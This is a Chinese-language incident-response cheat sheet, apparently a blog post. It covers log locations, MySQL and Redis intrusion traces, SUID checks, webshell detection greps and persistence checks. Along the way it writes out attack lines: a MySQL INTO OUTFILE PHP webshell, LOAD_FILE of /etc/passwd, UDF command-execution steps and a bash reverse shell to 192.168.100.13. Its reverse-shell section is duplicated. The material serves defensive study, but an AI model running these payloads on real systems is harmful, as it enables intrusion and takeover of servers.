应急响应总结

应急响应

日志

windows

  • IIS 6.0 及更早版本

    C:\WINDOWS\system32\LogFiles\W3SVC[SiteID]\

  • IIS 7.0 及更高版本

    C:\inetpub\logs\LogFiles\W3SVC[SiteID]\

  • Apache HTTP Server

C:\Program Files (x86)\Apache Group\Apache2\logs\

或者

C:\Program Files\Apache Group\Apache2\logs\

linux

/var/log/syslog:记录系统的各种信息和错误。(Debian/Ubuntu)

/var/log/messages:记录系统的广泛消息,包括启动和应用程序信息。(CentOS/RHEL)

/var/log/auth.log:记录身份验证相关的信息,如登录和认证失败。(Debian/Ubuntu)

/var/log/secure:记录身份验证相关的信息,如登录和认证失败。(CentOS/RHEL)

密钥登录位置~/.ssh/authorized_keys

登录成功

Accepted

登录错误特殊标记

Failed password for

/var/log/kern.log:记录内核生成的日志信息。

/var/log/dmesg:记录系统启动时内核产生的消息。

/var/log/boot.log:记录系统启动过程中的消息。

/var/log/secure:记录安全相关的消息。

/var/log/httpd/:记录Apache HTTP服务器的访问和错误日志(若安装了Apache)。

/var/log/nginx/:记录Nginx服务器的访问和错误日志(若安装了Nginx)。

mysql

/var/log/mysql/

  • 检查日志文件:

查看MySQL的日志文件,特别是查询日志和错误日志。这些日志可以提供关于执行的查询和任何异常情况的信息。

查询日志:记录所有的查询,包括成功和失败的查询。

错误日志:记录MySQL服务器的错误、警告和通知。

  • 检查审计日志:

如果启用了审计插件,可以查看审计日志。MySQL Enterprise Edition包含一个审计插件,可以记录所有SQL查询。

  • 检查连接历史:

检查MySQL中的连接历史,找出哪些IP地址连接过数据库。可以通过查询information_schema.processlist或performance_schema来获取连接信息。

  • 检查特定的表和列:

查找数据库中是否有存储和执行恶意命令的痕迹,例如system或exec等。

  • 利用 INTO OUTFILE 写入文件

INTO OUTFILE 是 MySQL 提供的一个功能,允许将查询结果写入服务器上的文件。如果攻击者能成功利用这个功能,他们可以将恶意代码写入 Web 服务器目录,生成一个 Web Shell。

示例:

SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';

这个命令将在 /var/www/html/ 目录下创建一个名为 shell.php 的文件,包含一个简单的 Web Shell,攻击者可以通过访问该文件执行任意系统命令。

  • 利用 LOAD_FILE 读取文件

LOAD_FILE 是 MySQL 提供的另一个功能,允许读取服务器上的文件内容。攻击者可以利用这个功能读取敏感文件,如系统密码文件 /etc/passwd。

示例:

SELECT LOAD_FILE('/etc/passwd');

这个命令会返回 /etc/passwd 文件的内容,其中包含所有用户的信息。

  • 利用 UDF 执行系统命令

UDF(用户定义函数)允许用户扩展 MySQL 的功能。如果攻击者可以将恶意的共享库上传到服务器,他们可以利用 UDF 执行任意系统命令。

示例步骤:

上传恶意共享库 lib_mysqludf_sys.soMySQL 服务器的插件目录。

创建 UDF 函数:

CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so';

使用 UDF 执行系统命令:

SELECT sys_exec('id > /tmp/output.txt');

这个命令将在 /tmp 目录下创建一个文件 output.txt,其中包含执行 id 命令的结果。

常用方法总结
INTO OUTFILE 写入文件:常用于创建 Web Shell 或写入恶意脚本。
LOAD_FILE 读取文件:常用于读取敏感文件,进行信息收集。
UDF 执行系统命令:常用于执行任意系统命令,获取更高权限。

show global variables like '%secure%'; 是一条 MySQL 查询命令,用于显示与 "secure" 相关的全局变量及其当前设置。通过查看这些变量的配置,可以帮助我们了解 MySQL 服务器的安全性设置和限制。

变量分析

require_secure_transport

解释:此变量指定是否强制使用安全连接(如 SSL/TLS)来连接 MySQL 服务器。

值:

ON:强制所有连接使用 SSL/TLS。

OFF:不强制使用 SSL/TLS。

安全性:建议设置为 ON,以确保所有客户端连接使用加密传输,保护数据的传输安全。

secure_auth

解释:此变量控制是否要求客户端使用更安全的密码认证方式。

值:

ON:强制使用 mysql_native_password 或更强的身份验证插件。

OFF:允许使用旧的(不安全的)认证方式。

安全性:建议设置为 ON,以避免使用不安全的旧认证方式。

secure_file_priv

解释:此变量指定 MySQL 服务器可以访问的目录,以执行 LOAD DATA INFILE 和 SELECT INTO OUTFILE 语句。这一变量限制了文件操作的目录范围,防止文件被不当读取或写入。

值:

路径(如 /var/lib/mysql-files/):只允许在指定目录下进行文件操作。

空字符串:禁止所有文件操作。

NULL:没有限制。

安全性:建议设置为指定的安全目录或空字符串,以限制 MySQL 的文件操作范围,减少潜在的文件操作安全风险。

UDF

在进行 UDF (User Defined Function) 提权时,攻击者通常会将恶意共享库文件放在 MySQL 插件目录中。这个目录的默认路径通常是 /usr/lib/mysql/plugin/

攻击步骤

  1. 编写恶意 UDF 插件:攻击者编写一个 .so 文件,该文件包含恶意代码。

  2. 上传恶意插件:利用 MySQL 的文件操作功能将该文件上传到服务器上的某个路径。

    SELECT '' INTO OUTFILE '/path/to/your/udf.so';

  3. 创建 UDF 函数:使用 CREATE FUNCTION 命令将这个共享库文件加载为 MySQL 的 UDF 函数。

    CREATE FUNCTION do_system RETURNS INTEGER SONAME 'udf.so';

  4. 执行命令:调用这个 UDF 函数执行系统命令。

    SELECT do_system('id');

检查和防护

  1. 检查 UDF 函数:查看是否存在异常的 UDF 函数。

    SELECT * FROM mysql.func;

    select sys_eval('whoami');

  2. 限制 secure_file_priv :将 secure_file_priv 设置为一个特定的路径,限制 MySQL 文件操作的范围。

    secure_file_priv = /var/lib/mysql-files

  3. 移除不需要的 UDF 函数:删除所有可疑的 UDF 函数。

    DROP FUNCTION IF EXISTS do_system;

  4. 权限控制:严格控制数据库用户的权限,避免赋予不必要的权限,特别是文件操作和创建函数的权限。

  5. 日志监控:定期检查 MySQL 日志文件,关注异常的文件操作和函数创建活动。

Redis

/var/log/redis.log

版本号查看命令:

redis-cli INFO | grep redis_version
redis-server --version
Redis 5.0.1

未授权访问 是最常见且可能性最大的漏洞

CONFIG SET动态地修改 Redis 的配置参数

SLAVEOF将当前 Redis 服务器设置为另一个 Redis 服务器的从节点

MODULE LOAD 加载模块

SUID

使用 find 命令查找系统中的所有 SUID 文件:find / -perm -u=s -type f 2>/dev/null

  • 检查可疑文件: 查看找到的 SUID 文件,寻找常见的提权工具(如 nmapvimfindawkperl 等)是否在列表中。这些工具如果被设置为 SUID,有可能被利用来执行任意命令。

  • 利用漏洞: 如果找到的 SUID 文件有已知的漏洞,可以利用这些漏洞来执行任意命令。例如,某些版本的 nmap 可以通过 --interactive 模式获得一个 shell,进而提权。

  • 不应拥有 SUID 位的程序: 如常见编辑器(vim)、网络工具(tcpdump)、脚本语言解释器(perl)等。如果这些程序被设置了 SUID 位,通常是异常情况,需要进一步检查。

  • 检查文件的所有权和权限: 例如,一个 root 所有的文件,其权限中包含 SUID 位,可以通过 ls -l 命令查看文件的详细信息。如果发现可疑文件,可以进一步分析其行为。

grep

-a 将其视为文本文件

sort 排序

  • -n 选项表示按数值进行排序。
  • -r 选项表示按降序排序。

uniq 删除重复的行

  • -c
  • 输入文件必须是经过排序的,因为 uniq 命令只检查相邻行之间的重复情况。

perl -e '...' 表示在命令行中直接运行 Perl 代码。

while($_=<>):逐行读取输入。

/for(.*?) from/:使用正则表达式匹配模式"for [username] from",其中[username]是登录尝试的用户名。

print "$1\n"; 打印出正则表达式中捕获的第一个子匹配(即 $1),然后跟一个换行符 \n

awk '{print $11}'从每一行中提取第11个字段

cut每一行中提取指定的部分

  • -d - 指定字段的分隔符是-
  • -d ' '表示字段分隔符是空格
  • -f 1:指定要提取第一个字段

wc -l 命令用于统计行数

find 查找文件和目录

  • ./ 表示从当前目录开始搜索。

  • -type f 表示只查找文件(不包括目录)。

  • -name "*.php" 表示只查找以 .php 结尾的文件。

  • 2>/dev/null: 将标准错误输出重定向到 /dev/null,以避免显示权限不足等错误信息。

  • -perm -u=s: 查找文件权限中包含 SUID 位(即,用户执行该文件时将获得该文件所有者的权限)。

xargs读取数据,传递给指定的命令。

netstat

-antlp

  • -a:显示所有连接和侦听端口。
  • -n:直接使用数字形式显示地址和端口,而不尝试将它们解析为主机名和服务名。
  • -l:仅显示正在侦听(listening)的连接。
  • -u:仅显示使用 UDP 协议的连接。
  • -p:显示建立相关链接的进程标识符和程序名称。
  • -t:仅显示使用 TCP 协议的连接。

字段解释

  • 1.**Proto:**协议(Protocol)

显示协议类型,常见的有 tcpudp

  • 2.**Recv-Q:**接收队列(Receive Queue)

显示接收队列的字节数。接收队列中的字节数是应用程序还未处理的接收数据。

  • 3.**Send-Q:**发送队列(Send Queue)

显示发送队列的字节数。发送队列中的字节数是已经被应用程序发送,但还未被远程主机接收的字节数。

  • 4.**Local Address:**本地地址

显示本地端的 IP 地址和端口号。例如:0.0.0.0:80 表示本地所有 IP 地址上的 80 端口。

  • 5.**Foreign Address:**远程地址

显示远程端的 IP 地址和端口号。例如:192.168.1.1:12345 表示远程 IP 为 192.168.1.112345 端口。

  • 6.**State:**状态

显示连接的状态。常见状态有:

LISTEN:正在监听连接。

ESTABLISHED:已建立连接。

CLOSE_WAIT:等待关闭连接。

TIME_WAIT:等待足够的时间以确保远程主机收到关闭请求。

  • 7.**PID/Program name:**进程 ID 和程序名

显示使用该连接的进程的进程 ID 和程序名。例如:1234/nginx 表示进程 ID 为 1234 的 nginx 程序。

webshell

PHP: eval(), system(), exec(), shell_exec(), passthru(), assert(), base64_decode()
ASP: Execute(), Eval(), CreateObject()
JSP: Runtime.getRuntime().exec()

  • WebShell经常使用编码和解码技术来隐藏其真实意图,如Base64编码:
php 复制代码
eval(base64_decode('encoded_string'));
  • WebShell可能会包含文件操作函数,用于读取、写入或修改文件:

PHP: fopen(), fwrite(), file_get_contents(), file_put_contents()

ASP: FileSystemObject

  • WebShell可能会包含网络操作函数,用于与远程服务器通信:

PHP: fsockopen(), curl_exec(), file_get_contents('http://...')

ASP: WinHttp.WinHttpRequest

//搜索目录下适配当前应用的网页文件,查看内容是否有Webshell特征
find ./ type f -name "*.jsp" | xargs grep "exec(" 
find ./ type f -name "*.php" | xargs grep "eval(" 
find ./ type f -name "*.asp" | xargs grep "execute(" 
find ./ type f -name "*.aspx" | xargs grep "eval(" 
 
//对于免杀Webshell,可以查看是否使用编码
find ./ type f -name "*.php" | xargs grep "base64_decode" 

找免杀马思路,看日志

文件权限

文件权限由三部分组成:所有者(user),组(group),和其他人(others)

  • 4 代表读 (r)
  • 2 代表写 (w)
  • 1 代表执行 (x)

所以7代表读、写、执行 (rwx)

挖矿

检查运行的进程 : ps aux

检查系统日志 : /var/log/syslog /var/log/auth.log /var/log/messages

检查计划任务cat /etc/crontab

不死马

  • 启动项 :在 Windows 中,可以修改注册表中的启动项,在 Linux 中,可以修改 rc.localcrontab

rc.local 是一个在 Unix-like 系统中常见的启动脚本文件

systemctl list-unit-files --type=service列出系统中所有服务单元文件

ls /etc/init.d/在系统启动和关闭时,init 系统会运行这些脚本来启动或停止服务。

/usr/bin可执行程序

反弹shell解析

bash -i >&/dev/tcp/192.168.100.13/777 0>&1

bash -i:

  • 以交互模式启动一个新的Bash Shell。-i参数表示交互式Shell,这样可以确保Shell会读取并执行启动文件,如.bashrc

>& /dev/tcp/192.168.100.13/777:

  • 使用Bash的特殊文件重定向语法,通过TCP连接到IP地址192.168.100.13和端口777。

  • >& 表示将标准输出(stdout)和标准错误(stderr)都重定向到 /dev/tcp/192.168.100.13/777,这个特殊文件实际上是在通过TCP连接发送数据。

0>&1:

  • 将标准输入(stdin)重定向到标准输出(stdout),这样可以将所有输入从TCP连接中读取并执行。
    ll解析

    bash -i >&/dev/tcp/192.168.100.13/777 0>&1

bash -i:

  • 以交互模式启动一个新的Bash Shell。-i参数表示交互式Shell,这样可以确保Shell会读取并执行启动文件,如.bashrc

>& /dev/tcp/192.168.100.13/777:

  • 使用Bash的特殊文件重定向语法,通过TCP连接到IP地址192.168.100.13和端口777。

  • >& 表示将标准输出(stdout)和标准错误(stderr)都重定向到 /dev/tcp/192.168.100.13/777,这个特殊文件实际上是在通过TCP连接发送数据。

0>&1:

  • 将标准输入(stdin)重定向到标准输出(stdout),这样可以将所有输入从TCP连接中读取并执行。
相关推荐
lu-fe14 个月前
linux后门教程
linux·蓝队护网